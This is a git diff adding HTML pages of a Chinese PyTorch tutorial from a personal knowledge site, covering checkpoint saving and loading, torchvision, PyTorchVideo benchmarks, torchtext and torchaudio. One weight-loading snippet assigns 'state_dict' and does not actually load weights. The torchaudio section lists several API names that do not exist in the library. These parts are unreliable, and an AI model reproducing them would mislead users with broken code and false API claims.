如果只有保存的整个模型,也可以采用提取权重的方式构建新的模型:

+
# 读取整个模型
loaded_whole_model = torch.load(save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.state_dict = loaded_whole_model.state_dict
loaded_model = nn.DataParallel(loaded_model).cuda()
+

另外,上面所有对于loaded_model修改权重字典的形式都是通过赋值来实现的,在PyTorch中还可以通过"load_state_dict"函数来实现。因此在上面的所有示例中,我们使用了两种实现方式。

+
loaded_model.load_state_dict(loaded_dict)
+

5.4.5 其他参数的保存和读取​

+

在深度学习项目里,有时候我们不仅仅需要保存模型的权重,还需要保存一些其他的参数,比如训练的epoch数、训练的loss,优化器的参数,动态调整学习策略的参数等等。这些参数可以通过字典的形式保存在一个文件里,然后在读取模型时一起读取。这里我们以下方代码为例:

+
torch.save({
'model': model.state_dict(),
'optimizer': optimizer.state_dict(),
'lr_scheduler': lr_scheduler.state_dict(),
'epoch': epoch,
'args': args,
}, checkpoint_path)
+

这些参数的读取方式也是类似的:

+
checkpoint = torch.load(checkpoint_path)
model.load_state_dict(checkpoint['model'])
optimizer.load_state_dict(checkpoint['optimizer'])
lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])
epoch = checkpoint['epoch']
args = checkpoint['args']
+

附:测试环境​

+

OS: Ubuntu 20.04 LTS GPU: GeForce RTX 2080 Ti (x3)

+

参考资料​

+

本章内容同时发布于知乎和CSDN

+
    +
  1. pytorch 中pkl和pth的区别?
  2. +
  3. What is the difference between .pt, .pth and .pwf extentions in PyTorch?
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第五章/index.html b/en/docs/个人知识库/AI/PyTorch/第五章/index.html new file mode 100644 index 0000000..80341be --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第五章/index.html @@ -0,0 +1,46 @@ + + + + + +第五章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html new file mode 100644 index 0000000..1bc7385 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html @@ -0,0 +1,51 @@ + + + + + +8.1 本章简介.md | wjlin0 + + + + + + + +

8.1 本章简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.1 本章简介

+

恭喜你,经过前面七章内容的学习,你已经逐步熟悉了PyTorch的使用,能够定义和修改自己的模型,学会了常用的训练技巧,并通过可视化辅助PyTorch的使用。

+

PyTorch的强大并不仅局限于自身的易用性,更在于开源社区围绕PyTorch所产生的一系列工具包(一般是Python package)和程序,这些优秀的工具包极大地方便了PyTorch在特定领域的使用。比如对于计算机视觉,有TorchVision、TorchVideo等用于图片和视频处理;对于自然语言处理,有torchtext;对于图卷积网络,有PyTorch Geometric ······。这里只是举例,每个领域还有很多优秀的工具包供社区使用。这些工具包共同构成了PyTorch的生态(EcoSystem)。

+

PyTorch生态很大程度助力了PyTorch的推广与成功。在特定领域使用PyTorch生态中的工具包,能够极大地降低入门门槛,方便复现已有的工作。比如我们在讨论模型修改时候就用到了torchvision中预定义的resnet结构,而不需要自己重新编写。同时,PyTorch生态有助于社区力量的加入,共同为社区提供更有价值的内容和程序,这也是开源理念所坚持的价值。

+

在后面的内容中,我们会逐步介绍PyTorch生态在图像、视频、文本等领域中的发展,针对某个领域我们选择其中有代表性的一个工具包进行详细介绍,主要包括工具包的作者或其所在机构、数据预处理工具(这块可能再引入第三方工具包)、数据扩增、常用模型结构的预定义、预训练模型权重、常用损失函数、常用评测指标、封装好的训练&测试模块,以及可视化工具。这些内容也是我们在使用对应工具包时会用到的。读者可以根据自身需要重点学习,对于自己研究所不涉及的工具包,可以只做了解,需要使用时再来学习。

+

注:

+

本章内容会不断更新,欢迎大家在issue中提出宝贵建议,或者直接pull request~

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html new file mode 100644 index 0000000..2b732ac --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html @@ -0,0 +1,227 @@ + + + + + +8.2 图像 - torchvision.md | wjlin0 + + + + + + + +

8.2 图像 - torchvision.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.2 torchvision

+

PyTorch之所以会在短短的几年时间里发展成为主流的深度学习框架,除去框架本身的优势,还在于PyTorch有着良好的生态圈。在前面的学习和实战中,我们经常会用到torchvision来调用预训练模型,加载数据集,对图片进行数据增强的操作。在本章我们将给大家简单介绍下torchvision以及相关操作。

+

经过本节的学习,你将收获:

+
    +
  • 了解torchvision
  • +
  • 了解torchvision的作用
  • +
+

8.2.1 torchvision简介​

+

" The torchvision package consists of popular datasets, model architectures, and common image transformations for computer vision. "

+

正如引言介绍的一样,我们可以知道torchvision包含了在计算机视觉中常常用到的数据集,模型和图像处理的方式,而具体的torchvision则包括了下面这几部分,带 ***** 的部分是我们经常会使用到的一些库,所以在下面的部分我们对这些库进行一个简单的介绍:

+
    +
  • torchvision.datasets *
  • +
  • torchvision.models *
  • +
  • torchvision.tramsforms *
  • +
  • torchvision.io
  • +
  • torchvision.ops
  • +
  • torchvision.utils
  • +
+

8.2.2 torchvision.datasets​

+

torchvision.datasets主要包含了一些我们在计算机视觉中常见的数据集,在==0.10.0版本==的torchvision下,有以下的数据集:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaltechCelebACIFARCityscapes
EMNISTFakeDataFashion-MNISTFlickr
ImageNetKinetics-400KITTIKMNIST
PhotoTourPlaces365QMNISTSBD
SEMEIONSTL10SVHNUCF101
VOCWIDERFace
+

8.2.3 torchvision.transforms​

+

我们知道在计算机视觉中处理的数据集有很大一部分是图片类型的,如果获取的数据是格式或者大小不一的图片,则需要进行归一化和大小缩放等操作,这些是常用的数据预处理方法。除此之外,当图片数据有限时,我们还需要通过对现有图片数据进行各种变换,如缩小或放大、水平或垂直翻转等,这些是常见的数据增强方法。而torchvision.transforms中就包含了许多这样的操作。在之前第四章的Fashion-mnist实战中对数据的处理时我们就用到了torchvision.transformer:

+
from torchvision import transforms
data_transform = transforms.Compose([
transforms.ToPILImage(), # 这一步取决于后续的数据读取方式,如果使用内置数据集则不需要
transforms.Resize(image_size),
transforms.ToTensor()
])
+

除了上面提到的几种数据增强操作,在torchvision官方文档里提到了更多的操作,具体使用方法也可以参考本节配套的”transforms.ipynb“,在这个notebook中我们给出了常见的transforms的API及其使用方法,更多数据变换的操作我们可以点击这里进行查看。

+

8.2.4 torchvision.models​

+

为了提高训练效率,减少不必要的重复劳动,PyTorch官方也提供了一些预训练好的模型供我们使用,可以点击这里进行查看现在有哪些预训练模型,下面我们将对如何使用这些模型进行详细介绍。 此处我们以torchvision0.10.0 为例,如果希望获取更多的预训练模型,可以使用使用pretrained-models.pytorch仓库。现有预训练好的模型可以分为以下几类:

+
    +
  • Classification
  • +
+

在图像分类里面,PyTorch官方提供了以下模型,并正在不断增多。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AlexNetVGGResNetSqueezeNet
DenseNetInception v3GoogLeNetShuffleNet v2
MobileNetV2MobileNetV3ResNextWide ResNet
MNASNetEfficientNetRegNet持续更新
+

这些模型是在ImageNet-1k进行预训练好的,具体的使用我们会在后面进行介绍。除此之外,我们也可以点击这里去查看这些模型在ImageNet-1k的准确率。

+
    +
  • Semantic Segmentation
  • +
+

语义分割的预训练模型是在COCO train2017的子集上进行训练的,提供了20个类别,包括background, aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa,train, tvmonitor。

+ + + + + + + + + + + + + + + + + +
FCN ResNet50FCN ResNet101DeepLabV3 ResNet50DeepLabV3 ResNet101
LR-ASPP MobileNetV3-LargeDeepLabV3 MobileNetV3-Large未完待续
+

具体我们可以点击这里进行查看预训练的模型的mean IOU和 global pixelwise acc

+
    +
  • Object Detection,instance Segmentation and Keypoint Detection
  • +
+

物体检测,实例分割和人体关键点检测的模型我们同样是在COCO train2017进行训练的,在下方我们提供了实例分割的类别和人体关键点检测类别:

+
COCO_INSTANCE_CATEGORY_NAMES = [
'__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus','train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A','handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball','kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket','bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl','banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza','donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table','N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone','microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book','clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush']
COCO_PERSON_KEYPOINT_NAMES =['nose','left_eye','right_eye','left_ear','right_ear','left_shoulder','right_shoulder','left_elbow','right_elbow','left_wrist','right_wrist','left_hip','right_hip','left_knee','right_knee','left_ankle','right_ankle']
+ + + + + + + + + + + + + + + + + +
Faster R-CNNMask R-CNNRetinaNetSSDlite
SSD未完待续
+

同样的,我们可以点击这里查看这些模型在COCO train 2017上的box AP,keypoint AP,mask AP

+
    +
  • Video classification
  • +
+

视频分类模型是在 Kinetics-400上进行预训练的

+ + + + + + + + + + + + + + + +
ResNet 3D 18ResNet MC 18ResNet (2+1) D
未完待续
+

同样我们也可以点击这里查看这些模型的Clip acc@1,Clip acc@5

+

8.2.5 torchvision.io​

+

在torchvision.io提供了视频、图片和文件的 IO 操作的功能,它们包括读取、写入、编解码处理操作。随着torchvision的发展,io也增加了更多底层的高效率的API。在使用torchvision.io的过程中,我们需要注意以下几点:

+
    +
  • 不同版本之间,torchvision.io有着较大变化,因此在使用时,需要查看下我们的torchvision版本是否存在你想使用的方法。
  • +
  • 除了read_video()等方法,torchvision.io为我们提供了一个细粒度的视频API torchvision.io.VideoReader() ,它具有更高的效率并且更加接近底层处理。在使用时,我们需要先安装ffmpeg然后从源码重新编译torchvision我们才能我们能使用这些方法。
  • +
  • 在使用Video相关API时,我们最好提前安装好PyAV这个库。
  • +
+

8.2.6 torchvision.ops​

+

torchvision.ops 为我们提供了许多计算机视觉的特定操作,包括但不仅限于NMS,RoIAlign(MASK R-CNN中应用的一种方法),RoIPool(Fast R-CNN中用到的一种方法)。在合适的时间使用可以大大降低我们的工作量,避免重复的造轮子,想看更多的函数介绍可以点击这里进行细致查看。

+

8.2.7 torchvision.utils​

+

torchvision.utils 为我们提供了一些可视化的方法,可以帮助我们将若干张图片拼接在一起、可视化检测和分割的效果。具体方法可以点击这里进行查看。

+

总的来说,torchvision的出现帮助我们解决了常见的计算机视觉中一些重复且耗时的工作,并在数据集的获取、数据增强、模型预训练等方面大大降低了我们的工作难度,可以让我们更加快速上手一些计算机视觉任务。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html new file mode 100644 index 0000000..38bae27 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html @@ -0,0 +1,413 @@ + + + + + +8.3 视频 - PyTorchVideo.md | wjlin0 + + + + + + + +

8.3 视频 - PyTorchVideo.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.3 PyTorchVideo简介

+

+

近几年来,随着传播媒介和视频平台的发展,视频正在取代图片成为下一代的主流媒体,这也使得有关视频的深度学习模型正在获得越来越多的关注。然而,有关视频的深度学习模型仍然有着许多缺点:

+
    +
  • 计算资源耗费更多,并且没有高质量的model zoo,不能像图片一样进行迁移学习和论文复现。
  • +
  • 数据集处理较麻烦,但没有一个很好的视频处理工具。
  • +
  • 随着多模态越来越流行,亟需一个工具来处理其他模态。
  • +
+

除此之外,还有部署优化等问题,为了解决这些问题,Meta推出了PyTorchVideo深度学习库(包含组件如Figure 1所示)。PyTorchVideo 是一个专注于视频理解工作的深度学习库。PytorchVideo 提供了加速视频理解研究所需的可重用、模块化和高效的组件。PyTorchVideo 是使用PyTorch开发的,支持不同的深度学习视频组件,如视频模型、视频数据集和视频特定转换。

+

+

8.3.1 PyTorchVideo的主要部件和亮点​

+

PytorchVideo 提供了加速视频理解研究所需的模块化和高效的API。它还支持不同的深度学习视频组件,如视频模型、视频数据集和视频特定转换,最重要的是,PytorchVideo也提供了model zoo,使得人们可以使用各种先进的预训练视频模型及其评判基准。PyTorchVideo主要亮点如下:

+
    +
  • +

    **基于 PyTorch:**使用 PyTorch 构建。使所有 PyTorch 生态系统组件的使用变得容易。

    +
  • +
  • +

    **Model Zoo:**PyTorchVideo提供了包含I3D、R(2+1)D、SlowFast、X3D、MViT等SOTA模型的高质量model zoo(目前还在快速扩充中,未来会有更多SOTA model),并且PyTorchVideo的model zoo调用与PyTorch Hub做了整合,大大简化模型调用,具体的一些调用方法可以参考下面的【使用 PyTorchVideo model zoo】部分。

    +
  • +
  • +

    数据预处理和常见数据,PyTorchVideo支持Kinetics-400, Something-Something V2, Charades, Ava (v2.2), Epic Kitchen, HMDB51, UCF101, Domsev等主流数据集和相应的数据预处理,同时还支持randaug, augmix等数据增强trick。

    +
  • +
  • +

    模块化设计:PyTorchVideo的设计类似于torchvision,也是提供许多模块方便用户调用修改,在PyTorchVideo中具体来说包括data, transforms, layer, model, accelerator等模块,方便用户进行调用和读取。

    +
  • +
  • +

    支持多模态:PyTorchVideo现在对多模态的支持包括了visual和audio,未来会支持更多模态,为多模态模型的发展提供支持。

    +
  • +
  • +

    移动端部署优化:PyTorchVideo支持针对移动端模型的部署优化(使用前述的PyTorchVideo/accelerator模块),模型经过PyTorchVideo优化了最高达7倍的提速,并实现了第一个能实时跑在手机端的X3D模型(实验中可以实时跑在2018年的三星Galaxy S8上,具体请见Android Demo APP)。

    +
  • +
+

8.3.2 PyTorchVideo的安装​

+

我们可以直接使用pip来安装PyTorchVideo:

+
pip install pytorchvideo
+

注:

+
    +
  • 安装的虚拟环境的python版本 >= 3.7
  • +
  • PyTorch >= 1.8.0,安装的torchvision也需要匹配
  • +
  • CUDA >= 10.2
  • +
  • ioPath:具体情况
  • +
  • fvcore版本 >= 0.1.4:具体情况
  • +
+

8.3.3 Model zoo 和 benchmark​

+

在下面这部分,我将简单介绍些PyTorchVideo所提供的Model zoo和benchmark

+
    +
  • Kinetics-400
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample ratetop 1top 5Flops (G) x viewsParams (M)Model
C2DR50-8x871.4689.6825.89 x 3 x 1024.33link
I3DR50-8x873.2790.7037.53 x 3 x 1028.04link
SlowR50-4x1672.4090.1827.55 x 3 x 1032.45link
SlowR50-8x874.5891.6354.52 x 3 x 1032.45link
SlowFastR50-4x1675.3491.8936.69 x 3 x 1034.48link
SlowFastR50-8x876.9492.6965.71 x 3 x 1034.57link
SlowFastR101-8x877.9093.27127.20 x 3 x 1062.83link
SlowFastR101-16x878.7093.61215.61 x 3 x 1053.77link
CSNR101-32x277.0092.9075.62 x 3 x 1022.21link
R(2+1)DR50-16x476.0192.2376.45 x 3 x 1028.11link
X3DXS-4x1269.1288.630.91 x 3 x 103.79link
X3DS-13x673.3391.272.96 x 3 x 103.79link
X3DM-16x575.9492.726.72 x 3 x 103.79link
X3DL-16x577.4493.3126.64 x 3 x 106.15link
MViTB-16x478.8593.8570.80 x 1 x 536.61link
MViTB-32x380.3094.69170.37 x 1 x 536.61link
+
    +
  • Something-Something V2
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample ratetop 1top 5Flops (G) x viewsParams (M)Model
SlowR50Kinetics 4008x860.0485.1955.10 x 3 x 131.96link
SlowFastR50Kinetics 4008x861.6886.9266.60 x 3 x 134.04link
+
    +
  • Charades
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample rateMAPFlops (G) x viewsParams (M)Model
SlowR50Kinetics 4008x834.7255.10 x 3 x 1031.96link
SlowFastR50Kinetics 4008x837.2466.60 x 3 x 1034.00link
+
    +
  • AVA (V2.2)
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample rateMAPParams (M)Model
SlowR50Kinetics 4004x1619.531.78link
SlowFastR50Kinetics 4008x824.6733.82link
+

8.3.4 使用 PyTorchVideo model zoo​

+

PyTorchVideo提供了三种使用方法,并且给每一种都配备了tutorial

+
    +
  • TorchHub,这些模型都已经在TorchHub存在。我们可以根据实际情况来选择需不需要使用预训练模型。除此之外,官方也给出了TorchHub使用的 tutorial 。
  • +
  • PySlowFast,使用 PySlowFast workflow 去训练或测试PyTorchVideo models/datasets.
  • +
  • PyTorch Lightning建立一个工作流进行处理,点击查看官方 tutorial。
  • +
+
    +
  • 如果想查看更多的使用教程,可以点击 这里 进行尝试
  • +
+

总的来说,PyTorchVideo的使用与torchvision的使用方法类似,在有了前面的学习基础上,我们可以很快上手PyTorchVideo,具体的我们可以通过查看官方提供的文档和一些例程来了解使用方法:官方网址

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html new file mode 100644 index 0000000..467017a --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html @@ -0,0 +1,111 @@ + + + + + +8.4 文本 - torchtext.md | wjlin0 + + + + + + + +

8.4 文本 - torchtext.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.4 torchtext简介

+

本节我们来介绍PyTorch官方用于自然语言处理(NLP)的工具包torchtext。自然语言处理也是深度学习的一大应用场景,近年来随着大规模预训练模型的应用,深度学习在人机对话、机器翻译等领域的取得了非常好的效果,也使得NLP相关的深度学习模型获得了越来越多的关注。

+

由于NLP和CV在数据预处理中的不同,因此NLP的工具包torchtext和torchvision等CV相关工具包也有一些功能上的差异,如:

+
    +
  • 数据集(dataset)定义方式不同
  • +
  • 数据预处理工具
  • +
  • 没有琳琅满目的model zoo
  • +
+

本节介绍参考了atnlp的Github,在此致谢!

+

8.4.1 torchtext的主要组成部分​

+

torchtext可以方便的对文本进行预处理,例如截断补长、构建词表等。torchtext主要包含了以下的主要组成部分:

+
    +
  • 数据处理工具 torchtext.data.functional、torchtext.data.utils
  • +
  • 数据集 torchtext.data.datasets
  • +
  • 词表工具 torchtext.vocab
  • +
  • 评测指标 torchtext.metrics
  • +
+

8.4.2 torchtext的安装​

+

torchtext可以直接使用pip进行安装:

+
pip install torchtext
+

8.4.3 构建数据集​

+
    +
  • Field及其使用
  • +
+

Field是torchtext中定义数据类型以及转换为张量的指令。torchtext 认为一个样本是由多个字段(文本字段,标签字段)组成,不同的字段可能会有不同的处理方式,所以才会有 Field 抽象。定义Field对象是为了明确如何处理不同类型的数据,但具体的处理则是在Dataset中完成的。下面我们通过一个例子来简要说明一下Field的使用:

+
tokenize = lambda x: x.split()
TEXT = data.Field(sequential=True, tokenize=tokenize, lower=True, fix_length=200)
LABEL = data.Field(sequential=False, use_vocab=False)
+

其中:

+

​ sequential设置数据是否是顺序表示的;

+

​ tokenize用于设置将字符串标记为顺序实例的函数

+

​ lower设置是否将字符串全部转为小写;

+

​ fix_length设置此字段所有实例都将填充到一个固定的长度,方便后续处理;

+

​ use_vocab设置是否引入Vocab object,如果为False,则需要保证之后输入field中的data都是numerical的

+

构建Field完成后就可以进一步构建dataset了:

+
from torchtext import data
def get_dataset(csv_data, text_field, label_field, test=False):
fields = [("id", None), # we won't be needing the id, so we pass in None as the field
("comment_text", text_field), ("toxic", label_field)]
examples = []

if test:
# 如果为测试集,则不加载label
for text in tqdm(csv_data['comment_text']):
examples.append(data.Example.fromlist([None, text, None], fields))
else:
for text, label in tqdm(zip(csv_data['comment_text'], csv_data['toxic'])):
examples.append(data.Example.fromlist([None, text, label], fields))
return examples, fields
+

这里使用数据csv_data中有"comment_text"和"toxic"两列,分别对应text和label。

+
train_data = pd.read_csv('train_toxic_comments.csv')
valid_data = pd.read_csv('valid_toxic_comments.csv')
test_data = pd.read_csv("test_toxic_comments.csv")
TEXT = data.Field(sequential=True, tokenize=tokenize, lower=True)
LABEL = data.Field(sequential=False, use_vocab=False)

# 得到构建Dataset所需的examples和fields
train_examples, train_fields = get_dataset(train_data, TEXT, LABEL)
valid_examples, valid_fields = get_dataset(valid_data, TEXT, LABEL)
test_examples, test_fields = get_dataset(test_data, TEXT, None, test=True)
# 构建Dataset数据集
train = data.Dataset(train_examples, train_fields)
valid = data.Dataset(valid_examples, valid_fields)
test = data.Dataset(test_examples, test_fields)
+

可以看到,定义Field对象完成后,通过get_dataset函数可以读入数据的文本和标签,将二者(examples)连同field一起送到torchtext.data.Dataset类中,即可完成数据集的构建。使用以下命令可以看下读入的数据情况:

+
# 检查keys是否正确
print(train[0].__dict__.keys())
print(test[0].__dict__.keys())
# 抽查内容是否正确
print(train[0].comment_text)
+
    +
  • 词汇表(vocab)
  • +
+

在NLP中,将字符串形式的词语(word)转变为数字形式的向量表示(embedding)是非常重要的一步,被称为Word Embedding。这一步的基本思想是收集一个比较大的语料库(尽量与所做的任务相关),在语料库中使用word2vec之类的方法构建词语到向量(或数字)的映射关系,之后将这一映射关系应用于当前的任务,将句子中的词语转为向量表示。

+

在torchtext中可以使用Field自带的build_vocab函数完成词汇表构建。

+
TEXT.build_vocab(train)
+
    +
  • 数据迭代器
  • +
+

其实就是torchtext中的DataLoader,看下代码就明白了:

+
from torchtext.data import Iterator, BucketIterator
# 若只针对训练集构造迭代器
# train_iter = data.BucketIterator(dataset=train, batch_size=8, shuffle=True, sort_within_batch=False, repeat=False)

# 同时对训练集和验证集进行迭代器的构建
train_iter, val_iter = BucketIterator.splits(
(train, valid), # 构建数据集所需的数据集
batch_sizes=(8, 8),
device=-1, # 如果使用gpu,此处将-1更换为GPU的编号
sort_key=lambda x: len(x.comment_text), # the BucketIterator needs to be told what function it should use to group the data.
sort_within_batch=False
)

test_iter = Iterator(test, batch_size=8, device=-1, sort=False, sort_within_batch=False)
+

torchtext支持只对一个dataset和同时对多个dataset构建数据迭代器。

+
    +
  • 使用自带数据集
  • +
+

与torchvision类似,torchtext也提供若干常用的数据集方便快速进行算法测试。可以查看官方文档寻找想要使用的数据集。

+

8.4.4 评测指标(metric)​

+

NLP中部分任务的评测不是通过准确率等指标完成的,比如机器翻译任务常用BLEU (bilingual evaluation understudy) score来评价预测文本和标签文本之间的相似程度。torchtext中可以直接调用torchtext.data.metrics.bleu_score来快速实现BLEU,下面是一个官方文档中的一个例子:

+
from torchtext.data.metrics import bleu_score
candidate_corpus = [['My', 'full', 'pytorch', 'test'], ['Another', 'Sentence']]
references_corpus = [[['My', 'full', 'pytorch', 'test'], ['Completely', 'Different']], [['No', 'Match']]]
bleu_score(candidate_corpus, references_corpus)
+
0.8408964276313782
+

8.4.5 其他​

+

值得注意的是,由于NLP常用的网络结构比较固定,torchtext并不像torchvision那样提供一系列常用的网络结构。模型主要通过torch.nn中的模块来实现,比如torch.nn.LSTM、torch.nn.RNN等。

+

备注:

+

对于文本研究而言,当下Transformer已经成为了绝对的主流,因此PyTorch生态中的HuggingFace等工具包也受到了越来越广泛的关注。这里强烈建议读者自行探索相关内容,可以写下自己对于HuggingFace的笔记,如果总结全面的话欢迎pull request,充实我们的课程内容。

+

本节参考

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html new file mode 100644 index 0000000..40f85be --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html @@ -0,0 +1,111 @@ + + + + + +8.5 音频 - torchaudio.md | wjlin0 + + + + + + + +

8.5 音频 - torchaudio.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.5 torchaudio简介

+

本节我们来介绍PyTorch官方用于语音处理的工具包torchaduio。语音的处理也是深度学习的一大应用场景,包括说话人识别(Speaker Identification),说话人分离(Speaker Diarization),音素识别(Phoneme Recognition),语音识别(Automatic Speech Recognition),语音分离(Speech Separation),文本转语音(TTS)等任务。

+

CV有torchvision,NLP有torchtext,人们希望语音领域中也能有一个工具包。而语音的处理工具包就是torchaudio。由于语音任务本身的特性,导致其与NLP和CV在数据处理、模型构建、模型验证有许多不同,因此语音的工具包torchaudio和torchvision等CV相关工具包也有一些功能上的差异。

+

通过本章的学习,你将收获:

+
    +
  • 语音数据的I/O
  • +
  • 语音数据的预处理
  • +
  • 语音领域的数据集
  • +
  • 语音领域的模型
  • +
+

8.4.1 torchaduio的主要组成部分​

+

torchaduio主要包括以下几个部分:

+
    +
  • torchaudio.io:有关音频的I/O
  • +
  • torchaudio.backend:提供了音频处理的后端,包括:sox,soundfile等
  • +
  • torchaudio.functional:包含了常用的语音数据处理方法,如:spectrogram,create_fb_matrix等
  • +
  • torchaudio.transforms:包含了常用的语音数据预处理方法,如:MFCC,MelScale,AmplitudeToDB等
  • +
  • torchaudio.datasets:包含了常用的语音数据集,如:VCTK,LibriSpeech,yesno等
  • +
  • torchaudio.models:包含了常用的语音模型,如:Wav2Letter,DeepSpeech等
  • +
  • torchaudio.models.decoder:包含了常用的语音解码器,如:GreedyDecoder,BeamSearchDecoder等
  • +
  • torchaudio.pipelines:包含了常用的语音处理流水线,如:SpeechRecognitionPipeline,SpeakerRecognitionPipeline等
  • +
  • torchaudio.sox_effects:包含了常用的语音处理方法,如:apply_effects_tensor,apply_effects_file等
  • +
  • torchaudio.compliance.kaldi:包含了与Kaldi工具兼容的方法,如:load_kaldi_fst,load_kaldi_ark等
  • +
  • torchaudio.kalid_io:包含了与Kaldi工具兼容的方法,如:read_vec_flt_scp,read_vec_int_scp等
  • +
  • torchaudio.utils:包含了常用的语音工具方法,如:get_audio_backend,set_audio_backend等
  • +
+

8.4.2 torchaduio的安装​

+

一般在安装torch的同时,也会安装torchaudio。假如我们的环境中没有torchaudio,我们可以使用pip或者conda去安装它。只需要执行以下命令即可:

+
pip install torchaudio # conda install torchaudio
+

在安装的时候,我们一定要根据自己的PyTorch版本和Python版本选择对应的torchaudio的版本,具体我们可以查看torchaudio Compatibility Matrix

+

8.4.3 datasets的构建​

+

torchaudio中对于一些公共数据集,我们可以主要通过torchaudio.datasets来实现。对于私有数据集,我们也可以通过继承torch.utils.data.Dataset来构建自己的数据集。数据集的读取和处理,我们可以通过torch.utils.data.DataLoader来实现。

+
import torchaudio
import torch

# 公共数据集的构建
yesno_data = torchaudio.datasets.YESNO('.', download=True)
data_loader = torch.utils.data.DataLoader(
yesno_data,
batch_size=1,
shuffle=True,
num_workers=4)
+

torchaudio提供了许多常用的语音数据集,包括CMUARCTIC,CMUDict,COMMONVOICE,DR_VCTK,FluentSpeechCommands,GTZAN,IEMOCAP,LIBRISPEECH,LIBRITTS,LJSPEECH,LibriLightLimited,LibriMix,MUSDB_HQ,QUESST14,SPEECHCOMMANDS,Snips,TEDLIUM,VCTK_092,VoxCeleb1Identification,VoxCeleb1Verification,YESNO等。具体的我们可以通过以下命令来查看:

+
import torchaudio
dir(torchaudio.datasets)
+
'CMUARCTIC','CMUDict','COMMONVOICE','DR_VCTK','FluentSpeechCommands',
'GTZAN','IEMOCAP','LIBRISPEECH','LIBRITTS','LJSPEECH','LibriLightLimited',
'LibriMix','MUSDB_HQ','QUESST14','SPEECHCOMMANDS','Snips','TEDLIUM',
'VCTK_092','VoxCeleb1Identification','VoxCeleb1Verification','YESNO']
+

8.4.4 model和pipeline的构建​

+

torchaudio.models包含了常见语音任务的模型的定义,包括:Wav2Letter,DeepSpeech,HuBERTPretrainModel等。torchaudio.pipelines则是将预训练模型和其对应的任务组合在一起,构成了一个完整的语音处理流水线。torchaudio.pipeline相较于torchvision这种视觉库而言,是torchaudio的精华部分。我们在此也不进行过多的阐述,对于进一步的学习,我们可以参考官方给出的Pipeline Tutorials和torchaudio.pipelines docs。

+

8.4.5 transforms和functional的使用​

+

